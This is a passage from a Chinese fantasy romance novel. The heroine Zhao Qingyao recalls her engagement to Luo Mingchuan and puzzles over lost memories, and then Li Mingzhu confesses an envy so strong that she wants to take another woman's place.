她在自己剑道大会夺魁庆典的最后一天偷喝阿娘的酒,在紫薇花林中喝到神志不清耍酒疯,也是洛明川找到的她。 她也是在那一天才知道,洛明川在剑道方面的天赋竟不比她低多少。 即便醉酒,她也对他的聪明、灵性、一点即透十分满意。 这些都是让赵轻遥喜欢的理由。 喜欢就是喜欢。她清楚自己喜欢的理由,从不认为身份、能力或者是其他加冕的荣耀都会阻止喜欢这件事。 所以到了后来,说她一介凡人,即便当了剑道魁首也不配与世家既定的继承人结亲的流言蜚语越演越烈之时,她也没有害怕过。 阿娘曾担忧地问过她是否后悔与洛明川定亲之事。 “洛家虽曾经也没落过,主家不在中州,但这些年也算逐渐起家了。洛函霜已即将成为玉音宫的下一任宫主,洛家家主的担子,最后是会落到洛明川头上。世家家主与凡人联姻,你难免会承受一些不该承受的流言蜚语。” 她当时是那样毫不犹豫地回答的—— “我喜欢他,就要和他永远在一起。” 只不过这个永远太短,短到瞬息之间就消散不见。 今世的她也绝不会再回头。 只是…… 失去的记忆既然为真,她后来为什么会喜欢上秦倚白? 赵轻遥感觉自己仿佛触碰到了一根危险的界限,再敢往前走一步,就是万丈深渊。 她及时打住了自己这个危险的念头。垂下了眼眸,掩盖住了一些莫名的情绪。 在她的胡思乱想刚刚结束的时候,黎明珠竟再次轻声开口。 “轻遥姐姐,你有没有过很羡慕很嫉妒一个人的时候。” 黎明珠再次拽住了赵轻遥的衣袖。 她颤抖地凝视着赵轻遥的眉眼,面上的神色格外迷茫: “觉得那个人所拥有的一切都是自己本来该拥有的。所以做她可能会做的事情,喜欢她所喜欢的人。想被注视她之人所注视,更想被爱她之人所爱。” “羡慕嫉妒到,为了将她取而代之,不惜付出一些自己难以承受的代价。”